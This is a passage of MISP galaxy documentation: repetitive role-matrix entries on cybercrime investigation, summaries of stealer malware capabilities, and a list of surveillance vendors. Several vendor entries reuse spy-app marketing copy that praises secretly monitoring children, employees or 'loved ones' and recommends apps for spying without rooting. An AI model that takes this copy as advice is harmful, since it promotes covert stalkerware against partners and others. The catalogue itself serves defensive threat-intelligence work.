The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [S]"*

Conducting the criminal investigation - LEA - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [R]"*

Conducting the criminal investigation - LEA - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [C]"*

Conducting the criminal investigation - LEA - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [I]"*

Conducting the criminal investigation - LEA - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - LEA - [S]"*

Conducting the criminal investigation - Prosecutors - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [R]"*

Conducting the criminal investigation - Prosecutors - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [C]"*

Conducting the criminal investigation - Prosecutors - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [I]"*

Conducting the criminal investigation - Prosecutors - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="Conducting the criminal investigation - Prosecutors - [S]"*

Leading the criminal investigation - Judiciary - [R]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [R]"*

Leading the criminal investigation - Judiciary - [C]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [C]"*

Leading the criminal investigation - Judiciary - [I]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [I]"*

Leading the criminal investigation - Judiciary - [S]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Judiciary - [S]"*

Leading the criminal investigation - Prosecutors - [R]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [R]"*

Leading the criminal investigation - Prosecutors - [C]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [C]"*

Leading the criminal investigation - Prosecutors - [I]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [I]"*

Leading the criminal investigation - Prosecutors - [S]

Knowledge of the incident response plan; leadership skills

The tag is: *misp-galaxy:sod-matrix="Leading the criminal investigation - Prosecutors - [S]"*

In the case of disagreement, the final say for an investigation - Judiciary - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [R]"*

In the case of disagreement, the final say for an investigation - Judiciary - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [C]"*

In the case of disagreement, the final say for an investigation - Judiciary - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [I]"*

In the case of disagreement, the final say for an investigation - Judiciary - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Judiciary - [S]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [R]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [R]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [C]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [C]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [I]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [I]"*

In the case of disagreement, the final say for an investigation - Prosecutors - [S]

Knowledge of the legal framework; decision- making skills

The tag is: *misp-galaxy:sod-matrix="In the case of disagreement, the final say for an investigation - Prosecutors - [S]"*

Authorizing the investigation carried out by the LE - LEA - [R]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [R]"*

Authorizing the investigation carried out by the LE - LEA - [C]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [C]"*

Authorizing the investigation carried out by the LE - LEA - [I]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [I]"*

Authorizing the investigation carried out by the LE - LEA - [S]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - LEA - [S]"*

Authorizing the investigation carried out by the LE - Judiciary - [R]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [R]"*

Authorizing the investigation carried out by the LE - Judiciary - [C]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [C]"*

Authorizing the investigation carried out by the LE - Judiciary - [I]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [I]"*

Authorizing the investigation carried out by the LE - Judiciary - [S]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Judiciary - [S]"*

Authorizing the investigation carried out by the LE - Prosecutors - [R]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [R]"*

Authorizing the investigation carried out by the LE - Prosecutors - [C]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [C]"*

Authorizing the investigation carried out by the LE - Prosecutors - [I]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [I]"*

Authorizing the investigation carried out by the LE - Prosecutors - [S]

Decision-making in the criminal procedure

The tag is: *misp-galaxy:sod-matrix="Authorizing the investigation carried out by the LE - Prosecutors - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - CSIRT - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - LEA - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the* *investigation and prosecution - Judiciary - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Judiciary - [S]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [R]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [R]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [C]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [C]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [I]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [I]"*

Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [S]

Fundamental rights in criminal investigations and prosecutions

The tag is: *misp-galaxy:sod-matrix="Ensuring that fundamental rights are respected during the investigation and prosecution - Prosecutors - [S]"*

Systems recovery - CSIRT - [R]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [R]"*

Systems recovery - CSIRT - [C]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [C]"*

Systems recovery - CSIRT - [I]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [I]"*

Systems recovery - CSIRT - [S]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Systems recovery - CSIRT - [S]"*

Protecting the constituency - CSIRT - [R]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [R]"*

Protecting the constituency - CSIRT - [C]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [C]"*

Protecting the constituency - CSIRT - [I]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [I]"*

Protecting the constituency - CSIRT - [S]

Drafting and establishing procedures; technical knowledge

The tag is: *misp-galaxy:sod-matrix="Protecting the constituency - CSIRT - [S]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [R]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [R]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [C]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [C]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [I]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [I]"*

Preventing and containing IT incidents from a technical point of view - CSIRT - [S]

Technical skills pertaining to system administration, network administration, technical support or intrusion detection

The tag is: *misp-galaxy:sod-matrix="Preventing and containing IT incidents from a technical point of view - CSIRT - [S]"*

Analysis and interpretation of collected evidence - LEA - [R]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [R]"*

Analysis and interpretation of collected evidence - LEA - [C]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [C]"*

Analysis and interpretation of collected evidence - LEA - [I]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [I]"*

Analysis and interpretation of collected evidence - LEA - [S]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - LEA - [S]"*

Analysis and interpretation of collected evidence - Judiciary - [R]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [R]"*

Analysis and interpretation of collected evidence - Judiciary - [C]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [C]"*

Analysis and interpretation of collected evidence - Judiciary - [I]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [I]"*

Analysis and interpretation of collected evidence - Judiciary - [S]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Judiciary - [S]"*

Analysis and interpretation of collected evidence - Prosecutors - [R]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [R]"*

Analysis and interpretation of collected evidence - Prosecutors - [C]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [C]"*

Analysis and interpretation of collected evidence - Prosecutors - [I]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [I]"*

Analysis and interpretation of collected evidence - Prosecutors - [S]

Criminalistics, digital forensics, admissible evidence

The tag is: *misp-galaxy:sod-matrix="Analysis and interpretation of collected evidence - Prosecutors - [S]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [R]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [R]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [C]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [C]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [I]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [I]"*

Requesting testimonies from CSIRTs and LE - Judiciary - [S]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Judiciary - [S]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [R]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [R]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [C]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [C]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [I]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [I]"*

Requesting testimonies from CSIRTs and LE - Prosecutors - [S]

Testimonies in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Requesting testimonies from CSIRTs and LE - Prosecutors - [S]"*

Admitting and assessing the evidence - Judiciary - [R]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [R]"*

Admitting and assessing the evidence - Judiciary - [C]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [C]"*

Admitting and assessing the evidence - Judiciary - [I]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [I]"*

Admitting and assessing the evidence - Judiciary - [S]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Judiciary - [S]"*

Admitting and assessing the evidence - Prosecutors - [R]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [R]"*

Admitting and assessing the evidence - Prosecutors - [C]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [C]"*

Admitting and assessing the evidence - Prosecutors - [I]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [I]"*

Admitting and assessing the evidence - Prosecutors - [S]

Evidence in a criminal trial

The tag is: *misp-galaxy:sod-matrix="Admitting and assessing the evidence - Prosecutors - [S]"*

Judging who committed a crime - Judiciary - [R]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [R]"*

Judging who committed a crime - Judiciary - [C]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [C]"*

Judging who committed a crime - Judiciary - [I]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [I]"*

Judging who committed a crime - Judiciary - [S]

Technical knowledge and knowledge of the legal framework

The tag is: *misp-galaxy:sod-matrix="Judging who committed a crime - Judiciary - [S]"*

Assessing incident damage and cost - CSIRT - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [R]"*

Assessing incident damage and cost - CSIRT - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [C]"*

Assessing incident damage and cost - CSIRT - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [I]"*

Assessing incident damage and cost - CSIRT - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - CSIRT - [S]"*

Assessing incident damage and cost - LEA - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [R]"*

Assessing incident damage and cost - LEA - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [C]"*

Assessing incident damage and cost - LEA - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [I]"*

Assessing incident damage and cost - LEA - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - LEA - [S]"*

Assessing incident damage and cost - Judiciary - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [R]"*

Assessing incident damage and cost - Judiciary - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [C]"*

Assessing incident damage and cost - Judiciary - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [I]"*

Assessing incident damage and cost - Judiciary - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Judiciary - [S]"*

Assessing incident damage and cost - Prosecutors - [R]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [R]"*

Assessing incident damage and cost - Prosecutors - [C]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [C]"*

Assessing incident damage and cost - Prosecutors - [I]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [I]"*

Assessing incident damage and cost - Prosecutors - [S]

Evaluation skills

The tag is: *misp-galaxy:sod-matrix="Assessing incident damage and cost - Prosecutors - [S]"*

Reviewing the response and update policies and procedures - CSIRT - [R]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [R]"*

Reviewing the response and update policies and procedures - CSIRT - [C]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [C]"*

Reviewing the response and update policies and procedures - CSIRT - [I]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [I]"*

Reviewing the response and update policies and procedures - CSIRT - [S]

Knowledge how to draft an incident response and procedures

The tag is: *misp-galaxy:sod-matrix="Reviewing the response and update policies and procedures - CSIRT - [S]"*

Stealer

A list of malware stealer..

Stealer is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

raw-data

Nocturnal Stealer

It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.

The tag is: *misp-galaxy:stealer="Nocturnal Stealer"*

View relationships graph

Nocturnal Stealer has relationships with:

- similar: misp-galaxy:malpedia="Nocturnal Stealer" with estimative-language:likelihood-probability="likely"

Table 6718. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap
https://www.bleepingcomputer.com/news/security/hookads-malvertising-installing-malware-via-the-fallout-exploit-kit/
https://traffic.moe/2018/11/10/index.html

TeleGrab

The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram's desktop cache and key files, as well as login information for the video game storefront Steam.

The tag is: *misp-galaxy:stealer="TeleGrab"*

Table 6719. Table References

Links
https://blog.talosintelligence.com/2018/05/telegrab.html

AZORult

It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.

The tag is: *misp-galaxy:stealer="AZORult"*

Table 6720. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://blog.minerva-labs.com/analyzing-an-azorult-attack-evasion-in-a-cloak-of-multiple-layers
https://malware.lu/articles/2018/05/04/azorult-stealer.html

Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: *misp-galaxy:stealer="Vidar"*

Table 6721. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: *misp-galaxy:stealer="Ave Maria"*

Table 6722. Table References

Links
https://blog.yoroi.company/research/the-ave_maria-malware/

HackBoss

A cryptocurrency-stealing malware distributed through Telegram

The tag is: *misp-galaxy:stealer="HackBoss"*

Table 6723. Table References

Links
https://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram/
https://github.com/avast/ioc/tree/master/HackBoss

Surveillance Vendor

List of vendors selling surveillance technologies including malware, interception devices or computer exploitation services..

Surveillance Vendor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Kape Technologies

Kape Technologies is better known by the name under which they were formerly incorporated - "Crossrider" but make no mistake they are the same company which became notorious as an adware/malware producer. Kape Technologies was originally known as Crossrider until the name change in 2018. The reason for that was, as CEO Ido Erlichman put it, “strong association to the past activities of the company.” Perhaps that refers to infecting users’ devices with malware and adware, considered “high-risk” by Symantec and Malwarebytes. If that wasn’t enough, Crossrider’s Founder and first CEO Koby Menachemi, was part of Unit 8200 – something that can be called Israel’s NSA. Another key person, Teddy Sagi, who is the main investor in both Crossrider and Kape Technologies, is mentioned in the Panama Papers.

The tag is: *misp-galaxy:surveillance-vendor="Kape Technologies"*

Kape Technologies is also known as:

- Kape
- Crossrider

Table 6724. Table References

Links
https://telegra.ph/Private-Internet-Access-VPN-acquired-by-malware-business-founded-by-former-Israeli-spies-12-01

NSO group

NSO Group Technologies is an Israeli technology firm known for its Pegasus spyware enabling the remote surveillance of smartphones. It was founded in 2010 by Niv Carmi, Omri Lavie, and Shalev Hulio. It reportedly employed almost 500 people as of 2017, and is based in Herzliya, near Tel Aviv.

The tag is: *misp-galaxy:surveillance-vendor="NSO group"*

Table 6725. Table References

Links

https://en.wikipedia.org/wiki/NSO_Group

Hacking Team

HackingTeam is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations. Its "Remote Control Systems" enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications, and remotely activate microphones and camera on target computers. The company has been criticized for providing these capabilities to governments with poor human rights records, though HackingTeam states that they have the ability to disable their software if it is used unethically. The Italian government has restricted their license to do business with countries outside Europe. HackingTeam employs around 40 people in its Italian office, and has subsidiary branches in Annapolis, Washington, D.C., and Singapore. Its products are in use in dozens of countries across six continents.

The tag is: *misp-galaxy:surveillance-vendor="Hacking Team"*

Hacking Team is also known as:

- Memento Labs

Table 6726. Table References

Links
https://en.wikipedia.org/wiki/Hacking_Team

Gamma Group

Gamma Group is an Anglo-German technology company that sells surveillance software to governments and police forces around the world. The company has been strongly criticised by human rights organisations for selling its FinFisher software to undemocratic regimes such as Egypt and Bahrain.

The tag is: *misp-galaxy:surveillance-vendor="Gamma Group"*

Gamma Group is also known as:

- Gamma International

Table 6727. Table References

Links
https://en.wikipedia.org/wiki/Gamma_Group

FlexiSPY

Flexispy is an application that can be considered as a trojan, based on Symbian. The program sends all information received and sent from the smartphone to a Flexispy server. It was originally created to protect children and spy on adulterous spouses.

The tag is: *misp-galaxy:surveillance-vendor="FlexiSPY"*

mSpy

mSpy is probably the most popular monitoring software on the market today. It is designed for parents who want to track their children's online activity. Using mSpy is easy — just download and install a hidden app on your child's phone and let it do its thing in the background. mSpy is available for iOS and Android, and has a web-based control panel that allows you to remotely monitor activity on your child's device, including texts, instant messages, phone calls and social media use on Snapchat or Facebook. It also allows you to track the location of your child's device on a map. The best thing about mSpy is that it works on non-jailbroken iPhones. Do note that some of its features, including email tracking and instant messenger monitoring, are only available on a rooted Android smartphone. If you don't know how to root an Android device, you might want to consider using a spy app like Highster Mobile. This app lets you spy on Android phone without rooting.

The tag is: *misp-galaxy:surveillance-vendor="mSpy"*

Table 6728. Table References

Links
https://www.bestphonespy.com/mspy-review/

Highster Mobile

Highster Mobile is a cell phone spy and monitoring software that allows you to secretly monitor your children, employees, or loved ones without them ever knowing it. The app is available for both Android and iOS devices and is developed by ILF Mobile Apps, a company based in Bohemia, New York, that specializes in mobile security.

The tag is: *misp-galaxy:surveillance-vendor="Highster Mobile"*

Table 6729. Table References

Links
https://www.bestphonespy.com/highster-mobile-review/

Mobile Spy

Mobile Spy is a cell phone monitoring application for iOS, Android and BlackBerry developed by Retina-X Studios. It allows you to monitor the smartphone activity of your children. You'll be able to see text messages, track GPS locations, monitor social media activities, view call details and more inside a secure online account. Monitoring made easy. Login anytime you wish from any location to see the recorded data without needing access to the monitored phone. The hidden version of Mobile Spy is no longer available due to legal issues.

The tag is: *misp-galaxy:surveillance-vendor="Mobile Spy"*

Table 6730. Table References

Links
https://www.bestphonespy.com/mobile-spy-review/

Hoverwatch

Hoverwatch is a computer and mobile monitoring software developed by Refog. It is available for Android, Windows and macOS. It runs silently in the background, recording all activities performed by the user such as messages sent and received, phone calls made and received, web sites visited, and every keystroke typed. All recorded data is sent to an online account.

The tag is: *misp-galaxy:surveillance-vendor="Hoverwatch"*

Table 6731. Table References

Links
https://www.bestphonespy.com/hoverwatch-review/

MobiStealth

MobiStealth is a popular spy software that comes with a simple web-based console and powerful monitoring features. It is developed by Infoweise Pty Ltd, a private company headquartered in Sydney, Australia. They have been making high quality monitoring solutions since 2009. In November 2015, they launched a “Non-Jailbreak” feature, letting users spy on all iOS devices without needing to jailbreak them. Just like many other spy software, MobiStealth allows you to spy on a cell phone or computer via a web interface called StealthClub. As its name implies, it is a stealth application that runs in the background without the owner’s knowledge.

The tag is: *misp-galaxy:surveillance-vendor="MobiStealth"*

Table 6732. Table References

Links
https://www.bestphonespy.com/mobistealth-review/

Spyera

Spyera develops and sells computer and mobile spy software. Based in Hong Kong, Spyera’s products work in all languages and all countries. The company’s phone and PC monitoring products are useful tools for any parent or company, although they are quite expensive in comparison to other products. Spyera comes in three different versions — a mobile version for iPhone and Android smartphones, a tablet version for iPad and Android tablets, and a desktop version for Mac and Windows. The mobile version of Spyera is actually very similar to the FlexiSPY Extreme, which I reviewed a few weeks ago. It has everything you’d expect from a cell phone spy software: live call listening, call recording, and location tracking.

The tag is: *misp-galaxy:surveillance-vendor="Spyera"*

Table 6733. Table References

Links
https://www.bestphonespy.com/spyera-review/

StealthGenie

StealthGenie is a powerful cell phone spy software created by InvoCode Ltd in 2010 that can be used to spy on cheating spouses and monitor children's activities. In September 2014, Hammad Akbar, founder of StealthGenie, was arrested in Los Angeles and charged with selling mobile device spyware. StealthGenie was officially discontinued on 26 September 2014.

The tag is: *misp-galaxy:surveillance-vendor="StealthGenie"*

Table 6734. Table References

Links
